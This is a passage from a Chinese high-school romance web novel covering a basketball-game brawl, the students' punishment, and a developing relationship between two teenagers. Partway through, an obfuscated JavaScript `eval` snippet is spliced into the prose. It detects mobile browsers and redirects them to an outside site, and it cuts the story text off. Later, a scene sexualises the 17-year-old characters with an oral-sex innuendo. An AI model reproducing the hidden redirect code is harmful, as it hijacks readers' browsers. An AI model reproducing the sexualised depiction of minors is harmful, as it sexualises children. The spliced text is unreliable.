原本拿在手里庆祝的球花和礼花筒同时朝着一班这边过来帮忙的队员开始砸去。 “干什么你们。” “一班了不起啦。一班就可以打人吗?” 李枝桠围观全程。 看到洛灿原本是在记分处签完字确认后,正准备和司威这个对方队长来个友好握手,却被人不屑拍飞手掌,另指着鼻子骂了一句‘赢了一分而已,臭显摆什么’,接着就被人一掌欺辱式的推到地上。 再然后,就是周祠冲了上来顶在前面。 她不甘出声:“什么我们打人!你们搞清楚,是你们班男生先挑起事端的好不好。砸谁呢?谁不会砸是的。” 李枝桠虽然芳龄十七还没成年,但瞒着家长混站姐预备役已经三年有余。 长枪短炮扛过,为正主撕逼反黑不在话下,作战经验极其丰富。 所以,李姐在此,小小八班也敢造次?! 于是,李枝桠捡起对方扔过来的礼花筒,不甘示弱地用力扔回去:“让你扔我们班男生!” 那边颇有社会姐风范的女生们开始叫嚣:“傻逼,跟你讲话了吗?” 李枝桠插腰骂街:“是啊,傻逼不就是在跟我讲话的吗?” “你妈的!” “你妈的。” 也不知道是大中午大家没吃饭在这儿围观比赛,饿了导致的火气大,还是本就双方磁场不对付,经不起摩擦一触即发。 总之,看到一向事不关己的周祠都出手反击了,他这个人就像是某种打鸡血信号,莫名把一班的团魂给燃了起来。 男的,女的,柔弱的,不吭声的,本就刚的,都开始纷纷出手对付。 场面乱成一团。 许舒檬被夹杂裹挟在其中,想冲上去叫周祠住手,却发现战役核心圈自己根本就进不去。 男生打法粗犷,凶狠拥挤,近我者伤,那叫一个逼人退避三舍。 女生则是骂战拉扯。 教学楼上每班窗户开始冒出许多头来围观,看热闹不嫌事大,猿猴嘶叫响彻溪中。 “呕吼!打起来!” “牛逼,这场面!” “好刺激。” 混乱中。 鞋子、校服、水瓶、椅子、桌子,齐齐乱飞。 前方落单的书黛被一个假睫毛生风的卷发女给掐了下肩膀。 书黛捂着肩膀,瞪眼吃痛:“你掐我?” 她顺势掐回去。 卷发女皱眉大叫:“嘶——,我没掐你这么重好吧。”又掐回来。 书黛震惊:“你还掐!” 卷发女过分:“我就掐。” 书黛怒了:“那我掐死你!” 两人跟打太极一样,你一下我一下的滥竽充数。时不时旁边还会有你推我攘的互殴同学在当活动背景板。 许舒檬也被人推了一把,但她顾不上那么多,跑过去帮忙势单力薄的书黛,让那个卷发女赶紧住手。 可惜卷发女不是吃素的。 凡是敌友,来一个打一个,来一双打一双。 许舒檬刚上去扒拉两人的手臂,卷发女眼疾手快地推开战斗力只剩一半的书黛,直接薅上许舒檬的头发。 “放手!” “自己送上来的我能放?搞笑吧你。” 许舒檬头发被拽得够疼,脖子以一个奇异的角度被桎梏。 她是性子好看起来娇滴滴,但不代表就是任人欺负。 对方无理取闹,她也火大了,情绪激动道:“你再不放,那就别怪我不客气。” 于是乎,一气之下怒了一下的许舒檬,也不再忍气吞声。 卷发女头发长度吃亏,又加上许舒檬平日里和周祠打闹出来,斗争经验是隐藏的满格,没一会儿就开始逆风翻盘。 两人头发都被对方扯得乱七八糟。僵持着谁都不放,就跟用胶水黏起来一样。 乌鸦飞过。 书黛一时呆住。 她挠了挠有些发痒的手臂,睁大眼睛,茫然地看看左边,又看看右边。 等看清局势后,才明辨过来。 该说不说,檬檬……好猛! 丞帆和迟让看情况失态扩大,也不好甩着膀子在旁边看热闹。 于是相觑之后,冲进战役核心圈,一手一个,用力拨开打成一团的男生们。 丞帆再怎么也是校篮球队队长,威严还在,胸腔发出怒吼:“干什么!” “松开。” “都给我松开。” 丞帆板着脸,抱着打的最凶的周祠的腰往后拉,一个劲得赶忙劝:“祠儿听我说,别冲动。” 迟让隔两人中间,直接推着司威胸膛往后退:“退后,安分点。” 男的气血上来了,打红了眼就开始不管不顾。 周祠被拉开了,咬牙切齿,暴躁的骂了一句,还要冲上去。 丞帆费力拦着。想说这小子平日里吃饭是不是吃多了,别看高瘦高瘦的,劲儿贼大。他两手抱着往后拉,差点给自己弄个大趔趄。 还状况胶状着,就听到旁边传来两道尖叫的女声—— “我没踩你脚!过分了你。” “你把我马尾扯松了,我还没说呢。” “我,我咬死你。” 放眼全场,女生这边,闹到最后,就这两个打的最难舍难分。 其他人不知怎么回事,都停了下来,默默看着。 周祠发红眼尾下压,拳头抬起,都举在脸颊边了,余光瞥见许舒檬被欺负,突然回头骂了声‘操’,就往这边大步流星走过来。 司威也是脸上挂彩,莫名其妙的急忙跑过来。 两个男的同时站定,说:“放手。” 两个女的异口同声:“凭什么!” 凭什么她都没放,就要我放。 因为头发被扯,彼此姿势都有些怪异。 周祠皱着眉,不欲废话。 他使了个巧劲,卷发女的手腕顿时麻了一下,被迫先放开。 一放开,许舒檬站直,脖子不再弯着,终于轻松了些。 周祠挡许舒檬前面,正对着她,大掌握住许舒檬的手臂往后退了一步。 接着虎口再握住她的小脸。一脸严肃地左瞅瞅,右瞅瞅,又看看她的脖子,喘气道:“伤着没?许舒檬,说话。” 许舒檬闭着嘴巴摇摇头,委委屈屈道:“没。” 没伤痕,很好。 估计就头发遭殃了。 再看许舒檬手指上抓的掉落的头发,比卷发女手上抓的头发多多了。 没吃亏,可以。 少年皱着的眉头才终于舒展开,松了口气。 正好。 教导主任不知什么时候来了。 篮球场白线外,钥匙串挂在圆滚腰间,他背着手,气定神闲,脸色极其铁青不好看。 身边跟着几位体育老师,还有王朗,以及八班的班主任。 主任一扫全场,不怒自威,开口道:“各位打完了吗?打好了吗?打好了,就请你,你,你,你,还有你,跟我去办公室一趟吧。” 接着:“剩下的,王老师,李老师,该惩罚的惩罚,该扣分的扣分。无法无天,太混账了你们!” 教学楼走廊。 卷发女、司威、周祠、许舒檬,被抓的四个刺头,明晃晃的搁这站着。 下午太阳暴晒。 主任办公室门开着。 里面空调凉风丝丝吹,外面炎热难耐。 “没我的指令,你们就在外面站着。给我站一下午。我看你们精力旺盛的很,都敢聚众打架了。” “篮球赛搞成拳击赛,还是你带头!” “周祠啊周祠,你是平时不吭声,一吭声就给我搞个大的。好的很。” “这学期你的第一名奖学金取消。统统取消。” “还把女娃们都牵扯进来。” “看不出来你们两个女娃还挺能打啊。杨门女将不让你们参演是不是可惜了。” 主任喝着茶,逼逼叨叨了快一个小时。 四人也知道是自己理亏,排排乖乖站好挨骂。 许舒檬本就没吃饭,跟卷发女拉扯又消耗了一些体力,太阳又热,她唇色有些发白。 正想着,周祠垂眼,往前站了一步,替她挡住了炙热的阳光。 躲他背阴处乘凉,是凉快了些。但始终头脑昏昏。 于是趁着主任不注意,没预告的,少女额头轻轻的磕在少年清晰又坚硬的肩胛骨处。 “——我靠会儿”她低声在周祠背后呢喃道。 周祠没搭话,但脊梁骨却比刚刚都挺直了些,无形中让她靠得更安稳些。 两人的姿势多少有些暧昧。 上课期间,走廊也就这四个人。 主任也因为某些角度原因看不到。 旁边罚站的卷发女,披头散发地盯着两人看,鄙夷道:“你们俩谈恋爱要不要这么明显?这里是教导主任办公室门前。能别在孕育知识的教育圣地,干些道德沦丧的事情,好吗?!” 许舒檬懒得解释。眼睛没睁,随即不耐烦出声:“闭嘴。”你很吵。 卷发女看了下周祠斜睨过来的警告眼神,怂了。 嘴巴嚅嗫了两下,就不了了之。 后来,据书黛去打探的小道消息,卷发女跟司威是地下情侣的关系。 难怪。 全场就她最跳。 跟怨妇似的。 原来是自己男朋友被打了,她感同身受,急了呗。 这会儿,周祠幽幽看过去。 鼻青脸肿的司威,依旧装逼不服气。 不过,等四目相对,对方突然来了一个轻嗤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14486392|154586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑眉。 “你马子?” “?” “脾气挺大。” 神他妈你马子,我马子。会不会说话。 周祠冷脸地凉了对方一眼,不再打算理。 四人就这么一直站到了下午放学。 放学后—— “檬檬,檬檬!” 书黛姗姗来迟。 也带来了后续的消息。 王朗自然是在班里发了一通大火。 李姐拍案而起,把相机给王朗一看,搞清是对方挑衅之后,才洗清班里的冤屈。 人都有过高中时代。 王朗别看是著名师范大学硕士毕业,从教经验也有十年有余。 但高中,本就是热血、冲破、大胆,这些反叛主义的代名词。 想起曾少年时,自己也为了学校宿舍水费无端端比其他学校多了一毛,而大半夜揭竿而起,带头游行示威。 见自己学生今天是为了同班同学尊严而出手。 前一秒还拍着讲台大声怒骂着你们太为所欲为了,一点没把老师放在眼里,搞得隔壁老师都过来和事佬的劝‘王老师,歇气歇气。都是些孩子,别太严了,他们会改的’。 后一秒,等劝说的老师们各自散去,王朗破天荒地给了第一排的何正义一个眼神,示意他把前门关上。 等门关。 王朗语重心长:“刚刚骂你们,是你们该骂。” 他复抬头,扫了下讲台底下一张张还青葱稚嫩、清澈懵懂的脸。 李枝桠头发上还插着一根枯草。 书黛校服被扯破了一个洞,不知从哪儿变出一个针线,正在座位上‘慈母手中线’样的补。 洛灿嘴角破了,颧骨受了伤。周祠虽然冲在第一疯狂输出伤害,但在背后防止对方队员偷袭,洛灿也是功不可没。 还有其他同学。 数学课代表手肘擦流血。隔壁暗恋他的女同桌,正贴心拿出创可贴帮他清创。还害羞附赠一句,你刚刚的样子,好帅。 可把数学课美的,跟雄赳赳的公鸡一样,恨不得挂着这伤绕班级三圈。 一向正气傍身的班长何正义也受了伤,屁股被人暗中踹了好几脚。 但没关系,他现在正暗爽,自己在文艺委员的掩护下,也踹了对方班长好几脚,估摸对方班长还不知道是自己踹的。 呵,让你们班上次无端端欺负我们班? 看到没,我们班也不都是书呆子,撸起袖子干仗去,我辈岂是软弱人! 还有还有..... 一室里,青春绽放。 王朗接着道:“但是——” 转折词一出,下面几十颗头瞬间齐刷刷的抬起,闪着异常的光芒。 虽然,但是。 英语当中最常用的转折手法。 王朗也是过来人。 教育者的身份束缚了自己的立场。他没办法随心所欲的跟着三观走。必须大局为重。 但真论起来,在那种情况下,如果自己也是孩子们,会忍得下这口气吗? 答案当然是不会。 在所有人的注视下,王朗轻声叹说了句:“今天,好样的。”为你们的担当,为你们的两肋拔刀,为你们的齐心协力。 一扫被训斥的失落,同学们脸上露出雀跃的光芒,想尖叫,想大喊。 何正义观看王朗的脸色,明白刚刚王老师叫自己关门,就是不想太张扬。 他心领神会,站起来对着大家急忙嘘了声,“嘘——!低调低调。千万别让别的班听到。” 于是,尖叫和呐喊被搞怪的哀叹声、抱怨声取代。 然而与之相反,每个人脸上的表情,却是无声笑得比谁都灿烂。 为青春干一杯莽撞的酒,彼此拍掌默声相接。 教室外。 隔壁班的学生听热闹:“老师,他们一班还要被骂多久?王老师好严厉啊。” 穿堂风过,蓝色窗帘扬。 讲题的老师停下,看了下一班紧闭的教室门,调整了下自己的小蜜蜂麦:“不知道。但你们就该引以为戒,别胆大包天,学一班的理所当然。” 学生:“我们怎么会学,我们又没被八班的人针对。” 老师抬眸打断:“谨言慎行,这种话少出去说。八班的李老师听到了会不高兴的。心思收回来,继续听讲题。” 学生:“......” 书黛这会儿一脸的骄傲。 许舒檬意外惊喜道:“所以,没有继续被骂?” 书黛重重点头:“没有没有!枝桠都解释清楚了。不过何正义让我们不要说出去。免得王老师被其他老师诟病。” “解释清楚什么?” 书黛眼睛圆溜儿一转,伏在许舒檬耳边,把这场群架的来龙血脉给说的一清二楚。 许舒檬长舒了口气。就说周祠怎么可能无缘无故发火。他不是这种糊涂的人。 书黛贴心,给她带了面包。 许舒檬说了声谢谢,就迫不及待地吃了起来。 司威和卷发女早在教导主任松口让回去的时候就走了。 三人往下走。 楼梯转角。 洛灿手里拿着一瓶冰冻汽水,不知静静等候了多久。 见三人走过来,洛灿迈步站在周祠面前,大方伸手递给他:“周祠,这个,请你喝。场上场下的事,多亏了你,谢了。” 许舒檬看向周祠,有点期待。 周祠双手插兜,凌厉未褪。楼道光晕,勾出少年顶天立地、挺拔的轮廓。 然后—— 他轻蔑的看了洛灿手上的东西一眼,随之迈着长腿离去。 热血消散。 好像又成了那个生人勿近的万年第一。 寡淡的,不羁的,不好靠近的。 洛灿被拒,收回汽水,手垂下放在身侧。 瓶上冷气凝成水珠,打湿了他的手,显得他被拒后,在外人看来,是有点可怜。 许舒檬做不到周祠那般疏离,于是试着说些什么让他好受些。 她挥挥手,试着缓和气氛,跟洛灿温声说了声:“洛灿,再见。” 洛灿重抬眼睛,友善点头:“嗯,再见。” 和书黛挽手迈步走开。 许舒檬回头不经意间看了落后而站的洛灿一眼。 见他表情,好像,也并没有那么失落。 反而还,挺满足。 12. 三分 周家。 周祠往沙发上疲倦一趴,半边脸埋进沙发。 这人身高体长,这么一趴,相当于直接占了沙发的全部。 见没有其他位置,许舒檬没精打采越过,拖着疲累的身子,想去另一边沙发坐下。 刚走过去。 白细手腕被人拉住。 周祠一收手臂,许舒檬就跌坐在他山峦起伏的背上。 他没放手,手臂穿过她细软腰间,一直收紧横亘。 往里挪了点,他闭着眼睛,语气闷声:“就坐这,别走。” 许舒檬今天也累,也懒得挪了。 柔软的肚子被他有力的臂弯搂紧,她觉得很安全。 于是许舒檬往后仰面叠在他结实的背上,两人就着这彼此叠加的姿势,闭着眼睛休息了会儿。 等外面路灯亮起,月光洒进客厅,许舒檬才动了动。 她揉揉眼睛,声音有些哑:“吃什么?” 周祠抬眼,被压出一道狭窄的褶皱,他惺忪拧眉:“泡面?” 许舒檬好玩儿的鼓了鼓嘴,预防法令纹:“行吧。” 今晚就弄简单点。 起身去储物柜拿储存的红烧牛肉面。 她探头问还在沙发上趴着的人:“你还是泡椒味的?” 和沙发难舍难分了一会儿,周祠伸了下腰,弓腰坐起,垂头找地上的拖鞋,语气含糊地说了句:“行了,跟我吃,哪儿能那么寒碜。我来弄。” 有人主动做丰盛的,许舒檬怎么好意思拒绝。 于是喜滋滋答应:“嗯,那我去洗澡了。” 外面厨房声渐渐响起动静。 许舒檬站在花洒下,头发打湿抹了洗发液。 泡沫覆盖手心,不敢太用力。 头皮还有些痛。毕竟白天也是经历过一番不相上下的折磨。 她突然在里面喊:“周祠。” 外面:“昂?” “你今天,好棒。” 打架不提倡,但冲出去护着洛灿的时候,贼帅。 周祠肩上搭着毛巾,正鼓捣着锅里的东西。 面上不屑,嘴角却勾起。 喉咙低低发出一声‘艹’。 这语气,哄小孩儿呢。 两个菜,简单吃。 吃完又去沙发上躺了去。 班群里还在意犹未尽。 许舒檬扫了会儿,觉得没多大意思。 没多久,洛灿私发了条消息。 【谢谢。】 上次聊天,还停留在他要给自己送奶茶的那条。 谢我什么? 谢我今天跟人动了手? 不至于。 毕竟大家都在帮忙。难道每个人都私发了谢谢? 于是许舒檬当即委婉问了书黛一嘴有没有收到同样的消息。书黛打字很快:【谢谢谁?谁说谢谢?】 好吧。 那这个假设不成立。 那他谢我什么? 纠结中,周祠洗完澡已经出了来。 又没穿上衣,光着膀子。 水珠先是从锋利的下颌往下滴落,滑到青筋盘踞的紧致腹部,再没入松垮的胯骨之下。 许舒檬盯着周祠白花花的腹肌,突然灵光一闪。 难道,洛灿以为周祠的参赛,是自己劝说同意的吗? 脸上闪过尴尬,怎么好意思跟洛灿说,周祠是为了证明自己魅力不比偶像剧男主差,这才点头同意。 该怎么回? 哎,算了。 于是许舒檬假笑敷衍:【不客气。】 头上落下声线磁沉的男声:“你在笑什么?” 周祠正擦着头发走过来,短发湿漉漉的,捋到脑后,露出光洁的额头,水珠正顺着他的后颈往下滑。 接着,把湿毛巾往许舒檬头上散漫一扔。 眼前被罩住,一片黑暗。 刚摁完发送,手指还悬在屏幕上。 许舒檬僵着没动,威胁:“周祠,我数123,把你的臭毛巾拿开。” 没人应,却有人靠近。 他脑袋伸过来,手撑在沙发上,看着许舒檬举着的手机界面,读完又是淡嘲一声。 谢什么。 谢个棒槌。 把她手机一抢,往旁边一扔。 许舒檬拿下毛巾,就看到人已经在自己面前坐下,视线被半裸男堵了个严严实实。 她戳了戳近在咫尺的腰,撞入周祠沉如墨色的眼睛里:“又发疯了?” 周祠抿唇,斜睨人道:“你没事儿跟他聊什么。” “哎我说你。” 从沙发上爬起来,她跪坐,东瞅西瞅这人淡淡阴影下的精致偏薄五官。 “帮他出手的是你,现在嫌弃人家的也是你。周祠,口是心非噢。” 她指着他,故以为自己很懂这人的傲娇心理。 没曾想—— 一管白色药膏被慢悠悠地举在两人中间。 周祠眼睫低垂,在眼睑下方落下一点暗色的影子。 他声音下压,带着晦涩喑哑:“你当真以为,我是为了帮他才出手的?” - 抱在身前的抱枕被挪开。 点点淤青露在许舒檬面前。 他抽了下脸颊,示意给她看。 “这,这,还有这儿。” “那群人往死里下手。小动作见不得光。” “我本来打算事后再算账。那个叫司威的,既然按捺不住想要提前送人头,我也将计就计,顺手送他一程。” 他说这话时,沉着、冷静,娓娓道来。 许舒檬盯着他的侧脸,竟然有一刻陌生。 冰冰凉的声线不带起伏,给这个微热的夏夜人工降了点燥。 许舒檬没敢相信,甚至带着讷然开口:“可你当时,确实是挡在了洛灿面前。” 周祠偏头看她,冷冰冰的眼神,几分戏谑:“由头而已。换成谁被司威动了手,我都会冲上去。” 接着—— “所以,许舒檬,别把我想的那么好。也别让不相干的人来套近乎。我不喜欢。” “明知道我是这种性格,还来招惹。事后再说我不好相处,我不认。” 他后脑勺磕在沙发背上。 说话时,喉结一滑一动。 说着最无情的话,可他眼底却被暖黄的灯光渡上一层清浅的柔色,瞳仁润亮。 与不容置喙的态度相反,那是截然不同的情绪流露。 那么,到底是什么造成这种反差的呢? 她不信。 不信那个会每次打完篮球,把空瓶子积攒回来,每个月都给捡废品奶奶留下的人,会绝情至此。 他会对陌生人散发善意,却对相识的人刻意疏远。 没这个道理。 不信归不信,尊重归尊重。 柔软的指尖接过白色药膏。 她滑下沙发,半蹲下,自然风干的黑色湿润发尾,拂过少年白如玉的腹部肌肤。 靠近些,浅浅呼吸喷洒。 许舒檬抬头露出一个笑:“不管怎么样,你今天帮助我们班赢得了比赛。你依旧很棒。” “那么现在,就让我为我们班的勇士,搭把手上药吧。” 她挤出药膏,指腹沿着那些瘀点打圈按摩。 沁凉的药膏从肌肤传到心底,让周祠感到一阵通电的酥麻。 他盯着两腿中间,因为需要看清伤处而不断变动的少女黑色小脑袋。 认真而纯洁。 善良而乖巧。 少年修瘦的手,不自觉地抬起,揉了揉她发顶的璇儿。 刚揉几下—— “这儿疼吗?” “昂。” “那这儿呢?” 没人应。 她抬眸撞进他浓密情绪的眼里。 还呆呆傻傻:“怎么了,说话呀。问你这儿疼不疼。” 周祠抵唇咳了下,胸腔轻震,目光朝外偏斜。 只一眼,落地窗映出他坐,她半蹲的温馨景象。 手该收回,却安抚不愿放。 摩挲,再摩挲。 少年眼睑半垂。情绪顷刻翻滚为粗重的情欲。 没得到他的回应,她仍旧无知无觉的低头继续她的擦药任务。 是以没发觉,不管是在周祠垂睨的眼里,还是落地窗的场景下。 这样的姿势。 都像是。 她在给他口。 - “早” “早啊,周祠。” “周祠,周末玩的开心吗?” 一大早周祠就感觉到了不对劲。 刚进校门口,一路都有人在给自己热情地打招呼。 周祠双手插兜走在旁边,一张俊脸,实在算不上有什么表情。 “早” “你吃早饭了吗” “今天天气还真好。” 见别人都主动开口了,周祠还无动于衷。 许舒檬没办法,只能帮他接过话,和人闲聊起来。 一路走过来,周祠被打了多少次招呼,她就在后面勉为其难的说了多少次话。 到最后许舒檬都有点招架不住,口干带点舌燥,嗓子还微疼。可她看起来还乐在其中。 快到教室门口,一路沉默无语的人发了声,偏头轻佻地问她:“你不累?” 许舒檬自觉有点。 她只好诚实点头:“是有点。” 周祠在前面拿手推开教室门:“那你理他们干什么。”好些人,自己连他们的名字都叫不出来。 不熟还打什么招呼。 许舒檬握着书包带子难得严肃看他:“他们是好意。你做得到冷眼旁观,我做不到。” 那人家好心和你问好,总不能木着一张脸,当什么都没发生过似的吧。 周祠见她坚持,撇了撇嘴,也就不再废话。 他云淡风轻的回自己位子上坐下,从书包里拿出书,刚端正坐好,就莫名感觉背后像有无数道目光,正炯炯有神的盯着自己。 拿书的手卡在半道,他不信邪的慢慢转身。 一转过来,吃早餐的、和同桌交谈的、在给课代表交作业的,通通停下手中的动作,跟统一培训过似地,给了他一个高露洁广告里的招牌式笑容。 没眼看。 周祠转回去。 把书啪地往桌上一放,弯唇,往椅背上一靠,“嘶”了一声。 心想,完了,他是真他妈的,给自己惹祸上了身。 一群烦人精。 期中考试大榜正式下来了。 许舒檬这次进步到了第十二名,是个还不错的名次。 她想起被周祠无数个鞭挞的夜晚,觉得自己没有白被这人骂。 至少成绩在周祠的帮助下,有了起色。 她趁下课给舒妈发了成绩单照片过去。 没一会儿,舒妈就回了消息过来。 【小祠又是第一,哇哈哈哈哈,小祠真是厉害。/鼓掌/撒花】 周祠考第一又不是什么新鲜事。 许舒檬两眼一晕。就差拿着喇叭大喊,妈,你到底有没有看到你女儿的进步。 好在舒妈不是那么扫兴的人。 紧接着就发了第二条:【我女儿第十二名,也好厉害!/点赞/转圈】 许舒檬这次开心了。暂且原谅老妈把第一个夸赞给了周祠的偏心举措。 【奖励给两个宝贝的。放学了去吃顿好吃的。希望我们家檬檬在期末考试再接再励。】 两千块钱的红包顿时发了过来。 许舒檬喜滋滋接下,顺便好好和舒妈撒娇感谢了一番。 第三节课间,班长何正义站在讲台上通知:“下午放学先别走,王老师会过来安排换座位。” 书黛有些心不在焉地看着桌上的成绩单。檬檬在第十二,她在第十五。 也就意味着,中间可能有两次的机会,许舒檬的同桌空位会被别的人捷足先登。 许舒檬见她实在愁眉苦脸,小手拍拍她的肩膀:“黛黛别担心了,不会落空的。” 班里哪些人跟哪些人玩的好,大家都心里有数,如果不是成绩相差太离谱,一般老王不会插手,别的同学也不会夺人所爱。 书黛半信半疑,可总觉得心里不太踏实,突突突跳个不停。 于是趁着语文课下课,书黛一个人去了趟小卖部,美名其曰是去散散心。 许舒檬也就没跟着一起去。 哪知,去,去的时候,好好的。 回,回来的时候,就一整个垂头丧脸。 等回位子上坐下,她林黛玉附身似的趴许舒檬身上自责:“舒檬,我是猪吗?化学那道大题我就不该错,不然那六分没丢,我跟第十四名就能打个平手。” “呜呜呜,那样至少还能在老王那里狡辩一下,让我先选。” “我好后悔啊。” 书黛一顿吐槽,倒把许舒檬听着莫名其妙。 她把书黛从自己肩头扶起来,温柔关心问:“你去小卖部是遇到了什么事情了吗?” 书黛咬着唇,眼下氤氲,然后突然朝着靠窗的位置,麻利的一指。 “都是她,她说这次和你非坐不可。” 许舒檬顺着书黛手指的方向看过去。 排名第14名的诗曼正背靠白墙,手里拿着一瓶哇哈哈在喝。她斜咬着透明吸管,也不知道看了这边多久。 见许舒檬看过来,也没躲避。诗曼甚至还大大方方的,直接抬手对着许舒檬说了一个‘嗨!’。 周祠的座位,那叫右法护卫。 风吹雷不动的,根本不用换。 于是,大家都在教室里劈里啪啦选位子、再搬位子的时候,周祠溜到外面开始打篮球,反正老王也不会说什么。 从前打篮球是他最喜欢的事情,但现在,周祠也开始烦躁。 “啊啊啊!周祠又进了。” “周祠加油。好帅啊我的妈。” 出来玩玩的场,不知道什么时候边上围了一圈无关紧要的女的。 围了也就算了,跟追星似的在旁边一个劲儿尖叫。 又是一个三分。 周祠还没来得及和自己队友拍掌庆祝,倒是那些女的开始激动。 周祠觉得自从自己参加那场班级篮球赛后,就开始极其不顺。 掰着手指头理论。 洛灿是得偿所愿了。周祠在关键赛事上帮他赢了最强劲的八班,进入决赛后,洛灿就带着队员一路高歌猛进,直接夺冠。 他保住了自己队长荣誉的同时,也没愧对自己那些弯弯绕绕的小心机。 再看周祠。 原本参加这场篮球赛就是想在许舒檬面前证明一下自己魅力有多大。不然那傻妹还总以为自己平平无奇、默默无闻。 但周祠这回算是领略到了,装逼也要付出代价。 少年拎着衣领,擦了下从眉骨上滴滑下的汗。 他背过去对着那群女生们,脸色是微不可察的不愠。 迟让跟过来,拍拍他的肩:“别放心上。继续吗?” 周祠想了下,觉得再打下去也没有必要:“别,散了吧。” 迟让知道平日自己人玩玩的野球场,他被这么多人围观心情很不爽:“也行。那我们先撤。” “嗯。” 迟让说完,对着其他队友挥了挥手,示意散了。 周祠一个人走过去旁边椅子上想坐下。 还没走到目的地,好几个女的就跑过来送水。 他虽然不耐,但也礼貌摆摆手说自己不要。 本以为自己这么明显的拒绝,所有人会知难而退。 哪知道还有漏网之鱼,亦步亦趋的跟着他走。 他也顾不上那么多了。 一拖长椅下面的水箱,才发现一瓶都没留。 喉咙里发出一声性感的低操。 周祠双手往后撑在椅子上,闭眼望天。汗水在他脸上拉扯出锋利的线条,带着不羁的性感。 眼前有黑影投下。 周祠眼睛都没睁开,就直接用深沉的嗓音问:“我招你们惹你们了?” 宁蜜差点笑出声。 她是文科班的女神,千金大小姐,会弹钢琴,很多男生都喜欢她,轮廓青涩,标准的白月光初恋脸。 可宁蜜不喜欢那些男的。 宁家的教育是她打小值得更好,导致宁蜜样样都要争第一。 所以,对于男朋友,她也要争那个第一的。 周祠很优秀,独一无二,万里挑一。 喜欢上他,在宁蜜看来是理所应当的事。 宁蜜背着手,大小姐几分傲娇:“想知道?” 周祠拧眉睁开眼,阳光在他脸上洒下一层薄如蝉翼的金色光芒。少年懒洋洋拖着尾调:“昂。” 宁蜜从背后拿出早就准备好的水,递到他面前:“喝了我就告诉你。” 周祠抿唇,眉梢轻佻。 他偏了下头,再不情不愿地接过。 宁蜜心满意足,稍稍弯腰,让站着的自己和坐着的周祠来了个眼神对决:“周祠,你为你们班男生仗义出头的事情都传遍整个学校了,你以前把我们骗得够惨的啊。” 拧了半天盖子,见他还在那儿拧,拖拖拉拉,摆明了不想喝,又想听。 宁蜜直接一眼戳破他这些小九九,威胁道:“你再磨磨蹭蹭地拧,我就不说了。” 周祠,他想许舒檬了。 想许舒檬那慢腾腾,温温和和的性子。虽然常常气的他肝疼,但至少不会这么难搞。 行,好,老子喝。 他乖乖仰头喝了一口。 宁蜜继续笑说:“从前以为你是正儿八经的不想理人,你性格够冷硬。没想到你也不是这样的。” “怎么办,你越是这样故作冷漠,魅力就越大。你说我们怎么能放过你呢?” “喂,我追你怎么样?” “考虑考虑我呗。当女朋友,我也不差。你也很优秀。” “我们俩,天生一对。” 说完,宁蜜直起身。 放下大胆又豪迈的宣言后,人就边退、边朝着他挥手说再见,然后利落地退了场。 她不急,今天是浅浅的触碰。 来日方长,宁蜜有的是耐心。 等篮球场上人都走光了。 学校的香樟树被风吹得唰唰响。 远处红旗被吹得绕杆飘。 乌鸦在长空中发出一声粗嘎的鸣叫。 周祠一个人孤零零地坐那张椅子上,也不知道在想什么。 到最后,他直接站起来,走到一旁的草坪里,把嘴里的那口水吐了出去。 看了眼手中还剩下的那瓶水,直接扔了也浪费。 他干脆直接往自己脸上倒。 等倒完了,少年拿手痛快一抹脸上的水珠。 等手拿下,一双眼睛,不知在什么时候,突然变得又阴又沉。 - “唉。” “唉。” “你在唉什么。” “那你又在唉什么。” 周祠坐在电脑前打游戏,突出的喉结,随着吞咽上下滚动。 许舒檬拿了没看完的漫画进来,在他床上半躺着。 见她进来,周祠取下黑色耳机,挂在冷白的脖子上。 周祠拧了桌上的青柠气泡水,直接喝了一口。 修长的手指在键盘上飞舞。 左下角,对话框,官尚顶着游戏名不断冒泡。 【周祠你疯了?回来,冲出去要不得。】 【祠儿手下留情,别杀对面法师,还有用。】 【我的祠,你是吃炸药了吗?】 官尚难得倒时差上来打一次游戏,毕竟期末周,他本就压力大,想着大杀四方,好好玩玩。 结果周祠跟开了挂似地,见佛杀佛,遇鬼杀鬼,一通就地正法,给对面杀的片甲不留。 官尚:嗯?自己还杀什么杀,全让祠儿给干了。 他还在对话框内给对方求饶,让多留会儿时间,不然捡了那么多装备自己无用武之地啊。 结果周大少爷直接发了句:滚。 好吧,官尚闭嘴了。 耳机里总算安静了一会儿。 许舒檬边翻漫画边跟周祠分享:“黛黛今天哭的可凶了。” 周祠回头用眼尾乜了眼床上的人:“她为什么哭?”这活宝哪天不宝一下,是不是都不知道怎么活。 许舒檬拂开额前的刘海:“诗曼坐到了我旁边。” 事实上,诗曼坐过来的时候,还是礼貌又客气的问了句:“许舒檬,你不介意吧?” 许舒檬当然不介意。毕竟这是诗曼自己的自由,合规又合矩。 当时书黛还没完全走开。 她正拖家带口,又是背着书包,又是抱着书箱,一副落难要逃荒的表情:“檬檬,我还会再回来的,你等我。” 书黛发誓,期末考试,她一定不会再犯丢分的这种低级错误! 许舒檬帮她一起搬座位。 等搬好了要走了,书黛飞快又小声的在许舒檬耳边警惕地说了句:“诗曼一定有什么不可告人的目的。” 不然大家都心知肚明的换座潜规则,为什么就她逆道而行。 许舒檬愣了下,觉得书黛一定是被这次换座事件影响到了。 她一边安慰书黛,一边想着,好吧,明天早上给书黛带上次她喜欢吃的豆花,让她别那么沮丧。 “就这?” “啊,就这。” “无聊。” 周祠吐槽了下,桌下的大腿微张,继续没骨头似地窝回椅子里,开始新一局的游戏。 官尚已经麻了,决定不再冲锋陷阵,就跟在周祠后面,墨迹墨迹然后躺赢。 许舒檬合上漫画书,反问道:“那你呢?” 移动着鼠标,周祠的五官在灯光下,显得立体又深邃。 他拉扯了下嘴角,带了几分意味不明的弧度:“我什么。我当然什么事都没有。” “当真?” “嗯。” 许舒檬觉得周祠这段时间是有点不对劲。 尤其是在某些事情上面,态度跟之前很反常。 虽然没有明说,但至少,许舒檬跟他相处了这么多年,异常还是能感 